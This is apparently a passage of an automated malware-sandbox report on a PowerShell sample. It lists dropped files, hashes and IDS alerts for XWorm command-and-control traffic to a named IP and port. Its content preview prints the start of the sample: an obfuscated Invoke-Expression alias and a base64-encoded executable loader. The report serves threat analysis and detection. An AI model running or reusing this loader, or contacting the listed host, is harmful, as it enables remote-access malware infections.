Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.9.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFB63.tmp.xml

Download File

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	4905
Entropy (8bit):	4.692457403227203
Encrypted:	false
SSDEEP:	96:uIjfnnI7uj7V4JFKloFevAFW+WTzFevAFj/ufTd:uIznYuj7245H5syufh
MD5:	96A902CA7C4109192385935DFBA5E43A
SHA1:	40E0C3367983F5AF69CD9DAE01269966DC3ACA8A
SHA-256:	125F6E63056AE1A4E7254F422FA119257CC82DB9E5F0E2DFEDFBF950F5A378E3
SHA-512:	D03EFBCB439C1CD4462ACA78591466FCDB8BB76D1A49AF42C75B2B4D27327156CEA5A72CE72E0AB6283EE1409787915241EEA259A0421DBDE63CE9AD4C6C6FC0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="636378" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ghocidx0.svd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_raxan3yr.n0w.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.73014591243326
Encrypted:	false
SSDEEP:	48:Q5tBQaOoCnWU23seukvhkvklCyw7tkewbbBl1BSogZoRjEewbbBl/BSogZoRv1:Wj7CnP8mkvhkvCCt72NbBwHkINbB2Hkd
MD5:	C7DC63B1E0E3369EDDA2F6E1F61E5CEB
SHA1:	351E42A16AF3EFBBEB4267BF352CABE11A2045F0
SHA-256:	A514259E49348FA4C05F4EC6C84460300C95E3CF563DBCB9ACF9646182F0F015
SHA-512:	A9254C14F0DB740DF5735353410F9C7D9035E193F5448962EFC0DD6CCEDE6031054E108E068DEE41DB455D12674C6796DA54BD1D3E65045F542688A61A59D9D2
Malicious:	false
Preview:	...................................FL..................F.".. ......Yd.....K..Q..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd.......Q....Z..Q......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B.Y.9..........................d...A.p.p.D.a.t.a...B.V.1......Y.9..Roaming.@......EW)B.Y.9..............................R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B.Y.9............................ .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B.Y.9............................*.W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B.Y.9....................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B.Y.9....................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)BEW)B..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B.Y.9.....0..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8WO0IPY70FDO0YM18CNP.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.73014591243326
Encrypted:	false
SSDEEP:	48:Q5tBQaOoCnWU23seukvhkvklCyw7tkewbbBl1BSogZoRjEewbbBl/BSogZoRv1:Wj7CnP8mkvhkvCCt72NbBwHkINbB2Hkd
MD5:	C7DC63B1E0E3369EDDA2F6E1F61E5CEB
SHA1:	351E42A16AF3EFBBEB4267BF352CABE11A2045F0
SHA-256:	A514259E49348FA4C05F4EC6C84460300C95E3CF563DBCB9ACF9646182F0F015
SHA-512:	A9254C14F0DB740DF5735353410F9C7D9035E193F5448962EFC0DD6CCEDE6031054E108E068DEE41DB455D12674C6796DA54BD1D3E65045F542688A61A59D9D2
Malicious:	false
Preview:	...................................FL..................F.".. ......Yd.....K..Q..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd.......Q....Z..Q......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B.Y.9..........................d...A.p.p.D.a.t.a...B.V.1......Y.9..Roaming.@......EW)B.Y.9..............................R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B.Y.9............................ .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B.Y.9............................*.W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B.Y.9....................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B.Y.9....................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)BEW)B..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B.Y.9.....0..........

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.37642127852145
Encrypted:	false
SSDEEP:	6144:UFVfpi6ceLP/9skLmb0ByWWSPtaJG8nAge35OlMMhA2AX4WABlguNhiL:0V1TyWWI/glMM6kF7zq
MD5:	3B9748979D50797BE4A2A203F9DEF2C0
SHA1:	A8688627C7ADD43B4E0793C42661A10354935549
SHA-256:	C97129BD9857FF48CE3A30211F33041F6E940E9E2514E39FB54BB8E3585ADAB7
SHA-512:	C5A533EE4A775BA35E14E62D9DC8AAFCF850DF6596E31F9E9413AF0B16DC1A07D6FA1F0118AFB8F3C5E9208E62FDC64F0C718FDF6BEB3CD7FB32D3EB372D80A2
Malicious:	false
Preview:	regfD...D....\.Z.................... ....@......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.....Q.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (65463), with CRLF line terminators
Entropy (8bit):	5.1590106021952575
TrID:
File name:	QP2uO3eN2p.ps1
File size:	341'153 bytes
MD5:	6d71ada719b48d770647e3e703cbbcfd
SHA1:	bc2dd183895888c20057f165d3332e8ecf6a6ada
SHA256:	7dc08327ae721c3ecf12447901858457bf510dd7016838839a629f86d673b18b
SHA512:	66d6563dc7e30d3f0a753e1e3b7368914ae03a671824d02ac345ccd648451c80e52b0bfb5d7d42fdd023d59aac1ec718507568ef39cead9a5ec78e1d844d74c2
SSDEEP:	6144:3K4rMAa8DAz7OGxuerPkwn4Je1Z0e9JCrSKQ81J7lHH7urZyrnpGYPoHdolDeZl7:yfyNcJrk6TKy
TLSH:	81743C318805B92F8EEF1F87B5402FD37C78217BDF551018A88F16B96A68238597AF74
File Content Preview:	ipconfig /flushdns.... $t0='IQIQQIEX'.replace('IQIQQ','');sal GG $t0;....$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAE

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T08:15:42.786507+0100	2858800	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:15:43.333388+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:15:43.392540+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:15:57.158905+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:15:57.163921+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:15:58.442835+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:15:58.442835+0100	2858801	ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:11.015125+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:11.017028+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:24.874899+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:24.877591+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:28.597087+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:30.404357+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:30.407637+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:31.044515+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:31.046398+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:31.686005+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:31.717077+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:32.036316+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:32.038280+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:32.322472+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:32.324560+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:33.044858+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:33.046685+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:33.647092+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:33.649040+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:33.838111+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:34.256991+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:34.258520+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:34.448063+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:34.498083+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:34.865787+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:34.871488+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:35.056779+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:35.059297+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:35.657782+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:35.848677+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:35.968423+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:35.968475+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:36.081371+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:36.159529+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:36.204297+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:36.456221+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:36.486225+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:36.578467+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:36.647151+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:36.767180+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:36.888806+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:37.057913+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:37.064619+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:37.177709+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:37.202971+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:37.428366+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:37.726486+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:37.728261+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:37.960367+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:37.972727+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:38.039017+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:38.092863+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:38.404743+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:38.457944+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:38.648316+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:38.650360+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:38.839427+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:38.841832+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:38.961338+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:38.965834+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:39.278761+0100	2858799	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:39.607222+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:39.637499+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:39.846527+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:39.856187+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:40.756259+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:40.757913+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:40.947965+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:40.949831+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:41.671236+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:41.673227+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:41.938130+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:41.939616+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:42.275763+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:42.342737+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:42.413501+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:42.462930+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:42.604480+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
